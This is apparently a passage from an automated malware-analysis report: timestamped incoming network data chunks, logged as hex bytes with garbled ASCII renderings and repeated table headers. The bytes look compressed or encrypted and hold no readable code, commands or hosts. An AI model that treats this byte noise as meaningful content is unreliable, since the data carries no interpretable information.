28 84 b1 97 4c 3e f2 89 38 db 0a 63 69 ea e1 38 98 09 26 8e cf b6 7a 56 e3 3e 6a b6 1c 0c 14 48 a8 b6 cf 81 53 96 e7 c9 
b8 81 7d af 64 61 28 51 21 be 7f 83 11 92 6d 8e c3 fb 1a 68 7c 30 6d 33 ae 7a 76 f7 b3 76 a3 7d 92 fd 11 e1 f2 14 97 7a 
91 4e 0e 90 30 aa b6 08 95 87 92 cd 8a 5b 55 c2 0c f4 b9 a1 
Data Ascii: |V>.NPSz=:8#x%MUw(d_PAKV`HCpf5_m#^|,'w}S$.3[*Y#cp_u#,'hCIYq-P(L>8ci8&zV>jHS}da(Q!mh|0m3z
vv}zN0[U

2022-09-20 10:10:08 UTC 2411 IN Data Raw: 92 22 34 1f a4 98 7e ff 1e 14 51 ea 2e 7d f1 49 32 39 4f f8 e7 60 54 f9 7b 95 44 af c5 e9 c1 c4 a2 b9 e4 c7 c3 
f7 25 5c db d3 4e 4d 9f a3 24 ee 2d 9e 2a 50 9d 08 b6 3f 7d 80 30 89 8b 98 10 68 89 06 6f 80 a9 05 eb 75 4e 7d 41 63 33 
bb 78 29 43 ff 6b 13 d2 66 c4 7a 0a 7f 52 bc 23 d2 88 9b 70 e2 7d 21 86 69 c8 67 65 e4 11 b1 94 c3 a8 a2 d9 8d 54 20 69 
13 07 92 51 5b f5 17 c9 d6 e1 0c fd e3 38 58 72 09 81 23 5c 92 85 01 f3 81 0f 9e 3a ff 2f c5 5a 82 4f 44 bd d2 b3 a9 2b 7a 
c5 43 20 e3 31 97 a7 ae 78 3f 87 67 a0 38 bc 87 81 b1 24 b1 eb 20 e4 c0 ed 54 bf a1 6b 8c a3 e9 e5 51 e5 69 92 2d 92 
eb a0 c6 84 9a 4b 7e e3 c7 62 41 7a 4e 9f 95 2d 2f 85 5b 25 dc 75 b0 0a b5 01 da 3b 25 1d 62 4d 80 1f 21 e3 a2 af 17 c5 
61 d1 fc e8 19 c3 fd 6c 50 ce 14 87 a7 41 5e 0a 8e 7a 
Data Ascii: "4~Q.}I29O`T{D%\NM$-*P?}0houN}Ac3x)CkfzR#p}!igeT iQ[8Xr#\:/ZOD+zC 1x?g8$ TkQi-K~bAzN-/[%
u;%bM!alPA^z

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2419 IN Data Raw: 67 17 53 e4 0c 75 9d d1 45 fe 88 f3 6a e0 69 90 1b 20 61 e8 f6 f8 12 94 14 07 89 95 93 01 be cb 8d 7e 01 6b 
ec ad 2c 58 ae 22 c1 92 1d bd 2d 49 94 ba df 65 ed 6d a3 c3 2a c9 1c 8b 61 ec e6 58 2f de 7a 8f f5 01 a7 c3 86 34 c6 f8 
31 5f 6e 4c 3f a7 d6 f0 78 8a 5b 1e df d0 50 5c 74 03 92 ae 13 3a 86 7a 15 ca 34 aa ab f4 a4 cf 9c 8c 15 ac bc 28 cb 30 43 
69 cd a8 14 17 8f 48 51 31 ea 15 e4 2f 78 11 f3 5c f0 4e 35 78 0c 07 85 61 d2 a8 3e 14 ac 10 25 83 2d 16 00 71 22 d6 29 
4b 0a 04 c4 e3 81 2e fb e9 11 81 c5 87 1d 58 2c 0c 21 16 b3 28 a0 90 ee 8d 9f f4 39 55 97 e5 3e b7 2b fc 9d 90 1f 56 97 
f1 ae 4d 1c 8f e4 47 eb 22 21 3f ca a2 71 f1 bd 49 ee 78 c9 51 9d 45 92 03 05 96 fa 13 42 12 c5 fd 13 1f 00 05 ee fd 3f da 
e2 d7 09 a1 d2 cb dd bd 50 71 ae 66 ee 22 ea 72 2a 
Data Ascii: gSuEji a~k,X"-Iem*aX/z41_nL?x[P\t:z4(0CiHQ1/x\N5xa>%-q")K.X,!(9U>+VMG"!?qIxQEB?Pqf"r*

2022-09-20 10:10:08 UTC 2426 IN Data Raw: 2d 5f 4b 5f 15 61 82 24 1f 78 f6 52 77 75 52 e2 8e a1 c2 8b da 49 33 3a 62 36 e3 7c 4d 64 aa 23 7b 1a 97 02 
e2 14 14 a7 d0 63 e0 f9 ff 08 3b 96 ab 44 f3 8e 65 12 dd b1 b4 71 3b 96 e7 4a 30 00 a8 8c 9d a7 80 54 2d 1b 3a 94 25 06 
1e b0 9c e1 f7 32 23 c4 58 2c fb 03 d2 06 76 60 5e db f0 b9 f1 0f d2 b2 3e 6a 4a f6 eb 0f 89 92 92 ae 11 6e 76 89 d9 b8 
53 0e 5a f6 2d 66 fc 81 5e 3e 33 66 eb 7c 9f 9c 4b 6f a5 e1 ee 0f 48 89 b8 f7 39 0b ae ce 5e 07 a5 db 50 a5 ec bd 48 e8 
86 76 8f 48 b5 b7 27 62 60 4e 79 a2 b4 7c 06 c6 09 ee 23 c8 a8 72 8c 55 9b 4c 0e 40 cb 69 3b 13 78 15 ad c2 a6 3d 8c 
8a c7 e7 37 94 9c d1 89 6c b4 e8 07 1d a1 19 17 99 1d 45 33 44 c0 31 ca 69 30 55 d9 8e 0d ba ce 4b b5 df 5e 64 b5 12 
0d 7a a7 7e ae ee a4 27 17 0d e5 f8 0c b5 5c 7d 6e 1f 41 27 2d 
Data Ascii: -_K_a$xRwuRI3:b6|Md#{c;Deq;J0T-:%2#X,v`^>jJnvSZ-f^>3f|KoH9^PHvH'b`Ny|#rUL@i;x=7lE3D1i0UK
^dz~'\}nA'-

2022-09-20 10:10:08 UTC 2434 IN Data Raw: f2 ab 6b 93 95 6f a8 a5 51 90 0d 33 75 3f 58 91 a2 f2 88 75 77 13 9e 7e 87 e8 68 a8 b3 e5 7f 36 20 46 19 0d 
60 94 8b 28 0f d1 10 7e f6 5a 73 75 af 86 62 e3 13 d0 10 6e 7d 53 c7 0b 86 74 9e 56 e4 75 90 ad 54 41 7b 13 c2 b8 4f 41 
61 28 f3 22 c1 e3 bd 49 1e fb 38 8f 69 c5 b5 55 27 bd 54 6b ae 15 9c dd 52 c3 ab c9 58 a5 3d 5b 23 72 79 b5 ff aa a1 45 
28 e4 a4 37 c6 42 d6 61 05 7d c8 41 60 28 70 30 a9 65 31 c2 bb 2b 57 d3 e3 b4 0a be 6a 87 ef a5 0a ea 50 fe b2 da 24 3f 
ef 64 f6 4c 18 ab 42 0b 9d 62 8a f2 05 29 a1 28 67 66 11 fc f9 81 99 a3 54 c3 6e 84 b5 96 d4 dd 08 62 1f 45 67 4d b2 a2 
1b 44 f5 b4 8e 05 9c b3 8c 2d da f6 05 c9 8a 6e 5c 40 dd 18 b9 e6 a5 6d 14 ac a2 7e c1 33 56 c5 22 62 1c 79 d6 18 ef a4 
94 aa d5 40 61 f1 a9 c8 bb 01 6f 64 30 fb 53 e8 8b 30 e1 
Data Ascii: koQ3u?Xuw~h6 F`(~Zsubn}StVuTA{OAa("I8iU'TkRX=[#ryE(7Ba}A`(p0e1+WjP$?dLBb)(gfTnbEgMD-n\@m
~3V"by@aod0S0

2022-09-20 10:10:08 UTC 2442 IN Data Raw: 34 7c 63 69 6e 64 32 89 d4 06 fb 80 c2 ff 83 2f 61 21 25 61 99 fa 70 99 6e 7c cd ec 2f e4 55 2f 07 41 5a 9d e9 
6a f8 54 10 5c 68 9a 39 0e 38 af 49 ea 32 7b 20 06 78 7d 85 0d 33 01 88 f2 70 18 7a 42 fa e0 4d c4 d8 f8 1f 40 fe c3 c4 f3 
46 27 10 fe 95 c3 43 91 76 a3 dd f2 d5 78 ae 67 25 f9 84 00 80 46 33 01 8d 96 a2 e1 6c b5 92 96 b0 f5 d3 b8 e1 a7 80 1d 
bc df 89 d1 c1 96 88 96 94 58 4c de de 62 91 4f 1e e6 e3 b7 dc b4 3a ec af 9a a9 bc 29 7e ca 4c 7b e0 84 b8 f8 45 75 91 
13 ad c7 3e 40 4c 9a 36 1b d7 1f da e4 06 4e 40 cf ab 52 50 9d 25 8f 9c af 74 49 cd c7 30 60 38 0e 66 e1 09 69 05 0e 7a 
b8 7c e4 fc b0 67 e4 bc 9c e3 ca 3b 68 47 a3 49 41 97 c8 58 99 c3 57 97 89 f2 17 08 e1 0f 2c 33 3c 9b 43 f8 7d 13 84 77 
bc 42 b4 ba 97 c9 3d ca 89 9c b6 c2 ce c5 67 e3 12 
Data Ascii: 4|cind2/a!%apn|/U/AZjT\h98I2{ x}3pzBM@F'Cvxg%F3lXLbO:)~L{Eu>@L6N@RP%tI0`8fiz|g;hGIAXW,3<
C}wB=g

2022-09-20 10:10:08 UTC 2450 IN Data Raw: 80 29 a9 bb e1 04 a9 99 10 05 88 bc 2c 25 1a 1a 91 02 75 e5 8d 1a 99 f2 49 71 7f 0d e3 09 7f e6 7d 89 28 da 
6a e5 30 b3 7d 1a d7 c7 56 1a fa 58 00 26 50 02 10 d2 27 17 0c fd aa e0 3a 95 d4 ac f1 dd 20 0f 64 88 c7 8c 7b 2e d8 23 
ee 7c 17 b8 63 9e 37 89 52 f6 91 1f 00 ef d6 a2 bf 4d 98 7f da 40 8a 13 70 29 4e 49 65 9e 47 49 57 4a 4b 95 90 63 20 b8 
92 80 50 fe 02 45 a1 5c a4 d4 e3 1c 45 6e ae e4 de 01 c5 4c 4e 8b 3a d2 c1 36 b3 8e 14 e5 c9 86 a0 ef 52 1b 32 b7 7a 
d6 c6 4e ee d1 bf 47 d2 35 7c ea a5 5b 89 dd 41 1e 82 37 2d c4 96 55 ae f3 68 42 21 1b 41 32 c6 e8 e8 2b f1 5b 4a b5 70 
9b 87 5b c9 1d 09 4a cb 14 e6 e3 52 c9 1d b9 2b ce b9 ac d2 c2 5f fc 13 60 4f 4d ac 26 31 56 8b 5d 45 f3 90 7d 64 90 73 
b4 c8 43 6a 26 eb 6f f8 06 a9 7d 89 11 df a1 d8 9c e7 f8 e6 
Data Ascii: ),%uIq}(j0}VX&P': d{.#|c7RM@p)NIeGIWJKc PE\EnLN:6R2zNG5|[A7-UhB!A2+[Jp[JR+_`OM&1V]E}dsCj&o}

2022-09-20 10:10:08 UTC 2458 IN Data Raw: e9 ac cb 40 d9 59 c1 9c b6 c2 17 bc 38 ad e9 34 af 16 ec 42 8b 7b e9 82 3d ab 9b 71 1e 24 8e 5b 0f 08 9e f5 
91 3f 89 0f 44 8e a4 3a 80 87 07 78 de 8a 51 f1 70 64 07 61 29 81 49 f4 39 b8 6f 06 5e bf d4 91 97 93 b4 5e b7 bf ec eb 
a4 36 17 65 4f d8 5f ae ef d4 02 ef 59 ac 6f c9 9b b4 c0 7b 0e eb 09 91 f7 04 be 95 1e f8 30 9f 6e fc 01 0d bd 40 01 4e ee 
01 f7 41 6b ef a2 bf 00 42 4a c8 3b 59 fa fa d6 d1 3a bd 8e b2 d7 ba 23 5c ba b1 2e 3f 86 80 fd de 41 39 a5 81 6e 0d d1 
56 e6 ce d0 bd 9f c3 6a 7c 07 ba de 52 cc 1c ff 7e 93 76 58 9c a9 d8 51 30 bc 70 a7 01 72 a3 20 c1 51 37 a1 c2 d4 9e 21 
18 36 71 44 0a 5d 87 99 5f 31 14 20 ba 3b 83 6e c0 0a 77 96 75 98 18 0c 65 70 db 6a 0d ea d2 9f 19 57 1c aa ff b6 17 65 
07 24 17 f5 8c 89 bc cf 70 2f 44 c6 f7 fc 08 56 83 d8 
Data Ascii: @Y84B{=q$[?D:xQpda)I9o^^6eO_Yo{0n@NAkBJ;Y:#\.?A9nVj|R~vXQ0pr Q7!6qD]_1 ;nwuepjWe$p/DV

2022-09-20 10:10:08 UTC 2466 IN Data Raw: e2 30 4f a4 ce 71 8d 66 3d 32 91 88 7d 1e 3d 12 60 64 14 1e 1d a6 b3 a0 f4 31 06 9c 75 8c 01 d7 ce b2 50 04 
9b 3e 1c f5 c9 af 2d 71 3e c1 53 ac 89 3e c1 05 5f 73 55 d9 3d a0 be 74 f9 2d a5 2e af e3 4a 8e 74 6d 31 66 e0 89 e9 a6 
e6 54 8b 59 cc c7 e7 e6 5c 43 c2 f2 e4 bc 6c 9e 3c 8c 27 67 c6 36 77 94 fc 91 48 3e 13 a1 2b 46 f8 94 36 ca 68 e4 d9 4c 
a3 91 a7 32 13 89 11 8d c1 7d 3f ca 80 0b 8f 22 62 a8 5f f4 21 c6 e6 d9 16 4b b8 0d 5b bf fd cf 0d 4e 32 be f8 1c 43 28 f8 
c7 f3 99 58 0c 80 5f f1 57 0f 5f c5 0a e5 4e e9 78 6a 10 e2 d3 25 c4 33 81 8a 87 cf 13 d9 5a 2e 34 f0 3f a8 5d 8d c7 9d ea 
3e 65 f5 ae c6 56 27 06 f1 38 3b 26 d7 ae c6 b0 d3 bb 47 15 3f f9 1e ad 3a 3d 75 ba 43 59 b7 17 44 4a 9d 67 53 7b 94 d5 
87 b0 a8 5c ec 00 f8 c7 2c b3 b7 45 fd a8 f1 98 d3 
Data Ascii: 0Oqf=2}=`d1uP>-q>S>_sU=t-.Jtm1fTY\Cl<'g6wH>+F6hL2}?"b_!K[N2C(X_W_Nxj%3Z.4?]>eV'8;&G?:=uC
YDJgS{\,E

2022-09-20 10:10:08 UTC 2473 IN Data Raw: 63 ec 1a 3a 39 b4 7c 63 d7 8e 9d cd bb 76 c1 08 ef 13 74 6f 70 64 3c f9 18 7f 3e 2d 30 d2 53 9f d5 10 8c c0 fb 
ed 09 48 ea 2b f5 71 6d da 85 da 06 c6 37 23 6d 39 da 99 54 bf 4f ad 05 76 d2 c8 c3 b2 21 0d 41 7d d3 86 c2 9b 9b dd 1b 
d6 09 4b 9b 67 4b 6d ab cc ad c7 9b cf 56 af 71 62 3c e4 e5 b3 b9 4a 15 8f a1 cc f2 8a 7e ad 89 6a f1 4e 9e df 67 cd a2 
71 c1 ae d6 bd 80 42 c3 ab 77 8e 2b e7 f9 62 48 ee 7e f5 ee 53 60 4f 73 f1 ed 9e 45 9a f8 6d d0 44 91 5f 54 2d f1 d4 02 
64 4b 28 57 f0 4b ca e8 81 07 c7 e4 7f d4 1e 12 c6 3e d4 fc a0 41 8f fb 5d dc 0f c7 89 59 2e 1a 2b 41 2c 35 30 cb 63 32 
9c 47 74 b3 93 2d c6 7a fb 36 9e da 1e 76 aa ef 5e ae cf b8 51 67 c5 5a ed 4b 27 a8 fd 7e ac bd 2d c1 3e f0 bd 75 f0 f9 ca 
a8 16 d7 5b 7f f9 86 09 5e ae c7 97 7f 38 9a f0 3f 
Data Ascii: c:9|cvtopd<>-0SH+qm7#m9TOv!A}KgKmVqb<J~jNgqBw+bH~S`OsEmD_T-dK(WK>A]Y.+A,50c2Gt-
z6v^QgZK'~->u[^8?

2022-09-20 10:10:08 UTC 2481 IN Data Raw: d9 a4 7b 71 c3 39 a1 5d 0a 47 2c 72 8f 60 f1 65 4f ae 71 b9 31 6b 5c f6 c5 55 b0 bb 7c d9 18 20 20 1b bd 35 cf 
40 0f cc 1a 97 b4 a9 14 5e 95 5f e6 f5 48 9b 97 59 e2 15 61 6c 64 c0 25 27 08 72 3b d2 83 62 38 e9 63 16 bd 52 ca bd 96 
a7 d1 d5 1a 07 4f 98 91 ed 9d ea 05 39 c3 e7 54 7d 59 ac c6 e1 f5 db d5 9a 4c 6f 9d 95 f9 f0 02 05 8a 32 69 4e ec 5c 5c 
7f 8b ca e2 4e d1 79 28 29 c5 de da 00 e3 c2 b4 75 cd 39 1b 7c 19 42 f3 59 1b 7c e9 42 73 d6 06 9f 5d 68 9e ba c1 97 26 
34 3b 36 f8 52 85 e6 d4 0d 3e 9b d0 2c 6e f0 59 d1 f0 b8 02 79 35 d2 a7 6e 87 b7 ae df eb ff 8a 95 7f 45 ea f2 7a 3a 05 
7a fd c3 de ba 01 56 3f c0 ca 87 81 e2 e4 48 ad 97 c7 28 0b 5a b1 fc 38 1f b7 00 43 55 79 40 05 94 e3 1e 10 e2 48 90 23 
02 77 d2 64 28 1e e6 c0 69 ee 09 0b 0e 55 ba bf 9d 0d 
Data Ascii: {q9]G,r`eOq1k\U|  5@^_HYald%'r;b8cRO9T}YLo2iN\\Ny()u9|BY|Bs]h&4;6R>,nYy5nEz:zV?H(Z8CUy@H
#wd(iU

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2489 IN Data Raw: 5c 42 89 3f 6b 5d a5 78 33 07 9f 15 92 7c 94 c7 db 6a 9d c5 8d 88 b3 0d 7e a9 58 21 0f d6 51 29 14 75 87 ca 
45 bc 96 ee c2 2b e9 0e 10 cd 7b 50 2c 1f 40 8e 90 4d df 51 fb 9c 4d 66 49 98 c4 d3 63 a1 48 1d 03 3c 52 87 0b ef a2 51 
67 5a ec 4d 61 28 00 97 30 e2 0c e5 14 95 06 dd 30 ea 91 5a 7b cb 49 04 2f b7 b3 7a 24 db 64 a1 e4 87 1f f6 90 df 11 aa 
9c 84 c7 38 d6 41 ec 27 54 7f 04 9a 4a 18 0d cb 30 0a 9e 2f f4 87 88 bb 72 90 9a 1c 5e 40 03 c8 34 75 9a 79 93 14 fc 13 
ce 4a 0d d9 73 b1 3a 72 99 09 fe 92 8a 32 bd 88 96 ba 4c 79 50 d4 4e 0f 64 ee d5 c0 fc 59 fa b4 b4 a3 4d 45 a3 6e b7 dd 
6c 74 81 c4 fd cc 67 89 44 50 58 41 39 d9 86 29 0b 2e 18 e5 62 13 cd 4f c0 25 0a 5f 68 4c 38 1b 66 4b e8 a3 b3 2c 12 99 
5a 97 35 f2 d2 0b 44 93 f3 a2 99 94 7f 96 cc b1 8b 7a a5 
Data Ascii: \B?k]x3|j~X!Q)uE+{P,@MQMfIcH<RQgZMa(00Z{I/z$d8A'TJ0/r^@4uyJs:r2LyPNdYMEnltgDPXA9).bO%_hL
8fK,Z5Dz

2022-09-20 10:10:08 UTC 2497 IN Data Raw: 3d df 14 3f f0 f1 2c 5f 1c 0b b1 5e a3 d3 3a dd 17 eb 71 02 d3 a1 af b4 34 78 b0 40 cf 93 36 d3 b2 53 f3 37 68 
d1 25 8b 71 7d d0 59 7a cc 32 c0 cc 6b ab 97 e0 99 2e b4 1a a9 6b 4e 62 fe f3 f9 a2 28 f8 27 8b a2 30 b1 28 c8 82 8f e4 
10 fc b5 d7 c4 71 a4 2f 8b 7c b2 14 fd e6 65 41 6b 02 44 1e 58 14 df 61 7a 10 c5 aa b8 f7 59 0e 2d 11 42 48 21 ad 10 c3 
b2 40 01 aa b2 22 be 38 60 59 78 2b 73 60 7d 90 a7 6a dc e1 c1 af 99 74 c3 d2 a9 ac c0 e4 6a d7 03 ff 3a 4d 6a 83 97 e1 
28 45 0e 9f ad 82 30 76 bd 58 85 89 f2 1d 40 cf f8 5a 48 18 50 19 d6 84 23 ee 7f 8a f9 b5 a7 21 93 0b c1 49 f5 83 61 b5 
36 79 98 d5 a6 0c e7 be 21 0c e4 8e 22 17 fe 12 e3 a2 ff 98 fb a3 16 4c 66 05 9a 3b ea 97 d1 75 31 c3 7c 87 c8 02 2d 4b 
5f 63 fa 0a 1b d0 57 58 e0 2e be c2 24 e1 08 2e b0 2d 
Data Ascii: =?,_^:q4x@6S7h%q}Yz2k.kNb('0(q/|eAkDXazY-BH!@"8`Yx+s`}jtj:Mj(E0vX@ZHP#!Ia6y!"Lf;u1|-K_cWX.$.-

2022-09-20 10:10:08 UTC 2505 IN Data Raw: f2 d6 6c ca d9 dc b9 6c 0b e2 df 7d 10 96 56 e4 bf 97 db 4c 7d 6f 47 0e 36 8d 11 68 74 7e ac e7 0b cf 73 6f d7 
82 b6 71 6b 9e 16 d2 c8 35 22 bf 6e 3d 28 dd 8b 77 1d 28 eb 7f 8c 53 9c 81 0c 27 b4 3a 05 f9 92 fc c9 00 a5 93 3e 8a e3 
c8 7d 9b c8 c2 db d2 76 ca 87 3d 6a 0d 60 f8 26 e1 64 e4 e1 79 a9 a4 a9 8f bb 98 f3 64 f0 91 bb a0 3c e4 ef 77 6f bf 04 
51 bb 76 06 65 63 42 e9 65 90 45 70 5b d4 02 71 00 e2 1e c1 10 bb 2c 8c 13 ad 0d f5 66 cc 12 df 63 c8 67 16 2a a7 f5 7b 
01 36 84 e9 a9 f1 0a ac 1e 2d a6 33 59 4a a8 74 26 2a e1 ad f1 d6 e1 41 11 1e c4 f4 51 d4 22 df 84 b1 dd 94 ec bc ef 41 
c4 0f fa 7f fe ee aa ab 7e 17 75 e2 4a 79 78 85 6d 9c 05 66 22 ff 0a fa 99 62 4a fb 25 e4 cb ab 93 c8 62 f6 1e e2 02 aa c7 
d8 1e 01 f9 13 20 93 98 82 27 b4 02 d6 d1 11 18 ac 
Data Ascii: ll}VL}oG6ht~soqk5"n=(w(S':>}v=j`&dyd<woQvecBeEp[q,fcg*{6-3YJt&*AQ"A~uJyxmf"bJ%b '

2022-09-20 10:10:08 UTC 2512 IN Data Raw: af 3d ed 9f a8 df 2b e3 12 f9 4b 6a d7 4b c8 4d 5d 6c cd 6c 76 0f 47 6f 85 ed 25 e6 00 58 b9 22 9d 2e d2 49 62 
b5 c6 ac aa b3 50 c3 3f 65 eb b0 0e 3e b1 34 88 75 dd 92 c2 17 70 59 cd d1 f5 9f 1d 7c 1c 3c 22 f4 a2 96 d5 da 71 cc 6a 
38 44 62 b4 f7 50 58 37 fe ad 83 62 80 56 d0 90 0b c6 ae bc b4 a6 48 31 95 a2 32 e5 8d 0e 1a 24 58 20 b4 08 69 3e 62 
a8 02 ea 15 ab 31 2c 70 36 53 2a 47 74 d0 a1 c2 a7 45 d1 e2 cb 76 28 33 22 7d 5a 21 d0 9c 98 9c 17 4b 82 f0 c7 85 87 
73 99 f0 e9 0f e5 76 f3 79 14 20 d7 e8 f6 35 ea b9 a3 46 b3 1f aa 9a dd 4b f9 9d 47 c2 1b 95 d4 1f a7 c5 fb 63 ea e5 e3 18 
d7 08 5f a2 b6 03 d2 0f f5 f2 f4 57 92 a6 5d 2a fa b7 4b fa f7 3a f8 ac de 90 63 d0 2e 33 df 50 db 65 88 41 bb 2c 83 62 8a 
da 65 a7 b6 5d fa b7 89 b6 63 28 db b7 47 db c5 a2 69 
Data Ascii: =+KjKM]llvGo%X".IbP?e>4upY|<"qj8DbPX7bVH12$X i>b1,p6S*GtEv(3"}Z!Ksvy 5FKGc_W]*K:c.3PeA,be]c(Gi

2022-09-20 10:10:08 UTC 2520 IN Data Raw: 83 72 c3 8d 68 e7 f3 cc 28 ff c3 32 cf 08 32 4f ee 0c ca ba d0 e6 4b 83 4a 30 86 25 b0 89 03 7c 72 94 13 dd 0c 
54 84 be f6 58 86 b3 4e 95 3e 86 d7 29 e5 f9 c5 44 91 fc 18 23 89 0e 61 3f 46 8c a0 93 d9 9f 0a 4f 25 78 2a e2 12 63 14 
88 92 64 5e e2 44 5e e2 04 5e 62 0b 2f 31 9d b0 07 4a e8 bc dd 5b 82 27 70 c0 17 b2 a7 e3 04 1c c3 a1 4d ed ef 09 f2 b7 
2e c4 3f 4d a1 04 1d 98 6d c3 4c 89 ff 30 2c 21 47 b4 1b 58 70 d6 6e 70 0f 71 dd 85 7e f6 9e 85 46 d7 1d 05 15 f0 30 d5 
e2 ea bc 55 d8 b5 b6 72 78 13 5d 31 d3 5d 5f 84 ae 39 b6 8a e9 33 5c 5f 3c 14 61 8f 6d 96 32 b6 b2 90 fe 4f f9 c9 27 1c 
54 1e 71 73 3c 6f c1 e9 55 6c 25 26 7d 1c f0 b5 a9 4a 3b 2c 34 ca 40 3b 2a 15 2e af 48 89 95 73 ef 62 e0 07 38 4b 3d 0b 
0d 4a ed 97 22 7a 53 1a b1 b7 ca 9d ff 4b 7a f3 f6 e1 
Data Ascii: rh(22OKJ0%|rTXN>)D#a?FO%x*cd^D^^b/1J['pM.?MmL0,!GXpnpq~F0Urx]1]_93\_<am2O'Tqs<oUl%&}J;,4
@;*.Hsb8K=J"zSKz

2022-09-20 10:10:08 UTC 2528 IN Data Raw: 62 4a 1c 8f ef 8e 6e 36 8e 4a b4 45 88 86 49 d0 97 5e 4c bb 16 5c ad 77 5f 45 84 0d d7 63 b0 51 3f f4 de 5e ce 
a8 28 c4 d2 3c 46 78 7f 0e 93 46 e7 0f b6 58 5e 0c e4 79 d4 44 a4 08 13 8b c0 b8 be 1f 5b 40 e6 03 dd 58 5f 84 36 11 45 
f1 04 8c ee da b8 97 d4 13 da fc 57 40 85 9b 83 db f5 eb 77 32 4b a1 38 e2 ef 21 2e d2 53 c9 7f a6 82 93 2c 7f c7 17 e9 
36 6b 79 b8 e4 a2 23 8a f3 90 37 e5 a6 c5 c4 11 67 e8 f3 a7 b2 b8 27 2a cf 07 07 8e db d0 b7 d7 d5 40 79 14 fd 17 76 e3 
b9 7f 6f 99 3b ee d3 ca 32 ba b3 0a 50 67 2b e6 9b df 4b dd 1d f2 d9 57 7f 6b 2a 91 33 9c f1 17 b6 38 b6 1a 4b ff 5b 19 47 
eb ff 3e c1 b6 9c 5e 46 99 d3 c4 66 84 9c 44 20 f3 14 e3 43 fc bc 47 b2 40 85 82 62 65 89 d3 ca 35 1e e0 63 23 06 ff 42 
86 5b bd 60 2a 4b dc 69 c9 f4 80 90 5b 4d 37 dd 7e 
Data Ascii: bJn6JEI^L\w_EcQ?^(<FxFX^yD[@X_6EW@w2K8!.S,6ky#7g'*@yvo;2Pg+KWk*38K[G>^FfD CG@be5c#B[`*Ki
[M7~

2022-09-20 10:10:08 UTC 2536 IN Data Raw: 49 0b 62 9a fb ea 1c e2 48 e7 ae 8a 6b fd f8 8f 91 48 53 0d e3 bf 82 07 99 bb c7 55 15 b7 67 33 13 ec d9 a1 
19 2d 31 f8 d6 15 f0 5f 33 83 8e 2b 26 2f 47 57 e0 62 9e 68 d7 f4 64 57 81 e2 46 1e e5 9b d8 78 49 5d 81 03 b7 68 69 20 
ef 8e be be 28 8e 9f a4 d7 a8 0a f7 54 71 5d e4 29 3e dd 12 9b 59 bd 8a 26 79 f7 52 24 d7 c0 13 04 1f e0 eb 85 e0 07 7e 
69 19 c5 cb c8 4b 29 1f 57 59 e1 1e 24 c0 e2 3c 69 a0 2d ae a9 42 79 8d c0 16 e8 ce 71 b1 5c c6 e3 09 50 9c f4 f5 09 91 
7c 5c b9 e4 af cc 80 cc 43 64 40 e6 7d 16 7f 7e c9 2f 0c 92 bc ae e8 24 53 ba e8 e4 86 2f 4b 01 1d 28 b3 79 e6 b4 d9 16 
d8 6d 33 6e a4 5b c1 a6 8c 27 d4 f6 55 ca c1 03 96 c1 7f f0 8a 63 f2 21 ff 8a e8 34 3c 12 cf cf 99 36 b3 5f 4d c0 a2 a0 15 
20 14 65 c5 0e ee fd ce e7 d0 97 f2 70 56 cc e9 0d 7d 
Data Ascii: IbHkHSUg3-1_3+&/GWbhdWFxI]hi (Tq])>Y&yR$~iK)WY$<i-Byq\P|\Cd@}~/$S/K(ym3n['Uc!4<6_M epV}

2022-09-20 10:10:08 UTC 2544 IN Data Raw: e5 38 c3 7d 85 39 fe 1a 82 ab e5 62 5c 21 9a 3b 8e 38 c6 a5 00 a5 3e 36 11 21 07 2e e3 7c a1 40 b2 02 20 c1 
0c 91 84 50 61 6f 33 fa f8 a5 f1 0c 6b 4c a3 cf 60 1a ac e2 d2 91 10 8d 57 f4 a5 e6 a3 ab b5 9d a3 ea 70 ee d0 dc 28 25 
da b8 21 61 17 bc 47 99 71 80 10 29 c1 3f 5d f9 61 0a b2 46 2e 08 bb a8 97 5b 0e 5e 1b 8f fc 0e e5 65 33 e5 bb 52 06 12 
f1 05 a1 be 21 a9 d9 dc 79 11 1d d5 c0 7d 7f de e9 08 f7 77 fb 0b a7 e2 7a ce 62 a5 7b 31 31 0c 50 a5 74 9e a0 43 1f 06 
64 24 05 97 39 03 14 28 c9 e3 56 01 6b 33 7a dc 10 94 f9 b4 d9 c6 cd a2 e2 07 20 52 bd 5d e8 5b 58 cf d4 13 51 b6 b4 
13 cb 5e 15 e1 f8 7e 29 7c a4 4a f7 1a 93 64 3d a9 5b 06 67 d2 70 19 dc a7 f7 37 fb 99 a9 9e f0 93 a9 d0 d5 db 93 46 51 
df 25 15 ed 50 7f bc be fe 34 53 fd 1b 63 d4 5f 92 46 71 20 
Data Ascii: 8}9b\!;8>6!.|@ Pao3kL`Wp(%!aGq)?]aF.[^e3R!y}wzb{11PtCd$9(Vk3z R][XQ^~)|Jd=[gp7FQ%P4Sc_Fq 

2022-09-20 10:10:08 UTC 2551 IN Data Raw: cf 07 67 2d ca d7 35 02 d2 26 fe 79 a7 ec bf c0 3c 9f d7 b8 7f 26 c8 b6 5d c1 8a 25 63 30 fe 67 2a 04 b6 d0 18 
32 61 93 f6 fb 2e 1e 27 26 bf 3b f3 31 e3 db cd 78 ac 47 e5 58 71 72 ac 54 65 ac 83 ec 6f b3 aa 1e 12 78 43 21 01 ef 49 
38 39 c1 63 7a be 64 18 d5 2d 47 bd 9a 69 8c 9a 63 b2 a7 f0 49 81 33 32 6f 87 f8 5c 57 3c 19 70 4e d0 cb 8b f3 c7 40 f9 
b5 d7 64 8e 97 b8 00 15 66 46 3e 7c 14 73 78 fa e2 81 3f 0f de 0e 79 73 3c 09 ca 0e 14 31 4b 58 3f 8d e8 7a 30 d0 f5 13 
37 4b d7 1f 9c 08 85 cb 57 e8 eb 21 7a 0d 95 20 ce fc 03 04 ad 7a 2c e1 c9 23 a8 1f d1 bf ec 17 a7 f4 93 f7 15 84 56 63 
50 da d1 29 02 33 9d a9 8c 66 e7 38 c8 8e c4 d4 af e8 97 20 ff a5 41 ae 47 5c ca 1f 59 b4 94 2e e2 5e f6 c2 ab 8d 9e 64 
40 2e 45 e6 d3 7b 5d 59 ca fe e3 c4 d9 92 2c f2 86 38 
Data Ascii: g-5&y<&]%c0g*2a.'&;1xGXqrTeoxC!I89czd-GicI32o\W<pN@dfF>|sx?ys<1KX?z07KW!z z,#VcP)3f8 AG\
Y.^d@.E{]Y,8

Timestamp
kBytes
transferred

Direction Data
